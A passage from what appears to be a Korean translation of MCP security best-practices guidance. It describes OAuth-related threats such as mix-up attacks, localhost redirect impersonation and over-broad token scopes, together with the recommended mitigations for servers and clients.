주요 방어는 이 공격 벡터를 가능하게 하는 취약점 클래스를 방지하는 것입니다.
- OAuth 인증 URL 검증에 설명된 완화 구현
- 신뢰할 수 없는 소스에서 JavaScript 실행을 방지하기 위해 Content Security Policy(CSP) 사용
- 처리 전에 MCP 서버의 모든 입력 검증 및 정리
XSS는 근본적으로 클라이언트의 보안 컨텍스트를 손상시키므로, 피해를 제한하는 데 집중하세요.
stdio 전송 제한
MCP 프록시 서비스는 stdio 전송에 추가 보안 통제를 구현하는 것이 좋습니다(SHOULD).
- 실행되는 프로세스에 샌드박싱 또는 컨테이너화 구현
- 실행되는 MCP 서버의 파일시스템 접근 제한
- 보안 모니터링을 위해 모든
stdio전송 사용 기록 - 잠재적으로 위험한 명령에 추가 인증 요구
클라이언트 측 보호
MCP 클라이언트는 심층 방어 조치를 구현하는 것이 좋습니다(SHOULD).
- 가능하면 프록시 통신을 별도의 보안 컨텍스트에 격리
- 프록시 프로세스 권한에 최소 권한 원칙 사용
- 프록시 서비스 자체에 프로세스 수준 샌드박싱 구현
- 프록시를 컨테이너나 제한된 환경에서 실행 고려
혼합 공격 (Mix-Up Attacks)
공격 설명
MCP 클라이언트는 수명 동안 보통 많은 인증 서버와 상호작용합니다. 그중 하나를 통제하는 공격자는 클라이언트가 다른 정직한 인증 서버가 발급한 인증 코드나 토큰을 보내게 시도할 수 있습니다(혼합 공격, RFC9207 섹션 1에 설명).
완화
Authorization Response Validation은 리다이렉트하기 전에 클라이언트가 기록한 인증 서버에 응답을 바인딩해서, 인증 코드가 의도하지 않은 토큰 엔드포인트에서 상환될 수 없게 하여 이를 완화해요. PKCE만으로는 이 공격을 막지 못하는데, 클라이언트가 code_verifier를 공격자의 토큰 엔드포인트로 전송하기 때문이에요. 공격자의 인증 서버가 정직한 인증 서버에 도달하기 전에 요청을 가로채면 리소스 표시자도 도움이 되지 않아요. 이 완화는 정직한 인증 서버가 iss를 내보내는 것에 의존하며, 그렇지 않은 정직한 서버에 대해서는 보호를 제공하지 않습니다.
Localhost 리다이렉트 URI 사칭 (Localhost Redirect URI Impersonation)
네이티브 및 로컬 실행 MCP 클라이언트는 흔히 localhost 리다이렉트 URI를 사용해요. 클라이언트가 Client ID Metadata Documents로 자신을 식별할 때, 메타데이터 문서는 도메인의 통제를 증명하지만 localhost 리다이렉트 URI에서 어떤 로컬 프로세스가 리슨 중인지는 증명할 수 없습니다.
공격 설명
공격자는 다음으로 어떤 클라이언트든 사칭할 수 있어요.
- 합법적 클라이언트의 메타데이터 URL을
client_id로 제공 - 아무
localhost포트에 바인딩하고 그 주소를 redirect_uri로 제공 - 사용자가 승인하면 리다이렉트를 통해 인증 코드를 받음
서버는 합법적 클라이언트의 메타데이터 문서를 보고, 사용자는 합법적 클라이언트의 이름을 보게 되어 공격 감지가 어렵습니다.
완화
인증 서버에 기대되는 대응책(localhost 전용 리다이렉트 URI에 대한 추가 경고 표시, 인증 중 리다이렉트 URI 호스트명 명확히 표시 등)은 인증 사양의 Localhost Redirect URI Risks를 참고하세요.
CIMD 신뢰 정책 (CIMD Trust Policies)
Client ID Metadata Documents를 수락하는 인증 서버는 도메인 기반 신뢰 정책을 적용해 어떤 URL 기반 클라이언트 ID를 수락할지 결정할 수 있어요.
- 신뢰할 수 있는 도메인에 대한 허용 목록(보호된 서버용)
- 모든 HTTPS
client_id수락(개방 서버용) - 알 수 없는 도메인에 대한 평판 검사
- 도메인 연령 또는 인증서 검증에 기반한 제한
- 피싱을 방지하기 위해 CIMD와 관련 클라이언트 호스트명을 눈에 띄게 표시
서버는 접근 정책을 완전히 통제합니다. 자세한 내용은 인증 사양의 Trust Policies와 Client ID Metadata Document 사양의 섹션 6.4, 섹션 6.8을 참고하세요.
스코프 최소화 (Scope Minimization)
나쁜 스코프 설계는 토큰 손상 영향력을 키우고, 사용자 마찰을 높이며, 감사 추적을 모호하게 해요.
공격 설명
공격자는(로그 유출, 메모리 스크래핑, 또는 로컬 가로채기를 통해) files:*, db:*, admin:* 같은 광범위한 스코프를 지닌 액세스 토큰을 얻습니다. 이런 스코프는 MCP 서버가 scopes_supported의 모든 스코프를 노출하고 클라이언트가 모두 요청했기 때문에 미리 부여된 것이에요. 그 토큰은 전체 표면의 재동의 없이 횡적 데이터 접근, 권한 체이닝, 어려운 폐기를 가능하게 합니다.
위험
- 넓어진 폭발 반경(blast radius): 훔친 광범위 토큰이 무관한 도구/리소스 접근을 가능하게 함
- 폐기의 더 큰 마찰: 최대 권한 토큰을 폐기하면 모든 워크플로가 중단
- 감사 잡음: 단일 옴니버스 스코프가 작업별 사용자 의도를 가림
- 권한 체이닝: 공격자가 추가 승격 프롬프트 없이 즉시 고위험 도구를 호출할 수 있음
- 동의 포기: 사용자가 과도한 스코프를 나열하는 대화 상자를 거부
- 스코프 팽창 맹목: 지표 부족으로 과도하게 넓은 요청이 정상화됨
완화
점진적이고 최소 권한 스코프 모델을 구현하세요.
- 최소 초기 스코프 집합(예:
mcp:tools-basic)에 저위험 발견/읽기 작업만 포함 - 특권 작업이 처음 시도될 때 대상이 지정된
WWW-Authenticatescope="..."챌린지로 점진적 승격 - 다운스코핑 허용: 서버는 축소된 스코프 토큰을 수락해야 하며, 인증 서버는 요청 스코프의 부분집합을 발급할 수 있음(MAY)
서버 지침:
- 정밀한 스코프 챌린지를 내보내고 전체 카탈로그를 반환하지 않기
- 상관 ID와 함께 승격 이벤트(요청 스코프, 부여된 부분집합) 기록
서버는 포함할 스코프를 결정하는 데 유연성이 있습니다.
- 최소 접근: 오류를 트리거한 특정 작업에 필요한 스코프만 포함.
- 권장 접근: 현재 작업에 필요한 스코프와 함께, 함께 동작하는 경우가 많은 관련 스코프를 포함해 스텝업 인증 라운드 수를 줄임.
- 확장 접근: 현재 작업에 필요한 스코프, 관련 스코프, 서버가 클라이언트가 가까운 미래에 필요할 것이라고 예상하는 기타 스코프를 포함.
선택은 서버가 사용자 경험 영향과 인증 마찰을 평가한 결과에 달려 있어요.
클라이언트 지침:
- 기준 스코프(또는 초기
WWW-Authenticate가 지정한 것)로만 시작 - 거부된 스코프에 대한 반복 승격 루프를 피하려면 최근 실패를 캐시
초기 WWW-Authenticate 챌린지가 scope 매개변수를 지니지 않을 때, Scope Selection Strategy는 클라이언트가 scopes_supported에 나열된 모든 스코프를 요청하도록 폴백하게 지시해요. 이 접근은 일반적으로 도메인 특정 지식이 부족해 개별 스코프 선택에 대한 정보에 기반한 결정을 내리지 못하는 MCP 클라이언트의 범용 성격을 수용합니다. 모든 사용 가능한 스코프를 요청하면 인증 서버와 최종 사용자가 동의 과정에서 적절한 권한을 결정하게 해, 최소 권한 원칙을 따르면서 사용자 마찰을 최소화합니다.
작업 간 스코프 누적은 클라이언트 측 책임입니다. 클라이언트는 재인증을 시작할 때 이전에 요청한 스코프와 새로 챌린지된 스코프의 합집합을 계산해야 합니다(SHOULD). Step-Up Authorization Flow에 설명된 대로요. 이렇게 하면 서버가 클라이언트 스코프 집합에 대해 무상태를 유지하면서, 클라이언트가 이전에 부여된 권한을 잃지 않도록 보장합니다.
계층적 스코프: 일부 인증 서버는 더 넓은 스코프가 더 좁은 것을 암시하는 스코프 계층을 정의합니다(예:
read를 흡수하는admin스코프). 스코프를 누적할 때 클라이언트의 합집합에는 의미상 중복 항목이 포함될 수 있어요. 예를 들어 이전에 넓은 스코프가 부여된 토큰이 그것이 이미 암시하는 더 좁은 스코프로 챌린지될 수 있습니다. 클라이언트는 계층적으로 중복 제거할 필요가 없습니다. 인증 서버가 토큰 발급 중 보통 그런 중복을 정규화하기 때문이에요. 서버는 토큰이 작업에 충분한지 결정할 때 계층을 고려해야 하지만, 이것이 챌린지에서 내보내는 스코프에는 영향을 주지 않습니다.
흔한 실수
scopes_supported에 가능한 모든 스코프 게시- 와일드카드나 옴니버스 스코프(
*,all,full-access) 사용 - 향후 프롬프트를 선점하려고 무관한 권한 묶기
- 모든 챌린지에서 전체 스코프 카탈로그 반환
- 버전 없이 조용한 스코프 의미론 변경
- 서버 측 인증 로직 없이 토큰의 주장된 스코프를 충분한 것으로 취급
적절한 최소화는 손상 영향력을 제한하고, 감사 명확성을 높이며, 동의 재현(re-consent) 빈도를 줄입니다.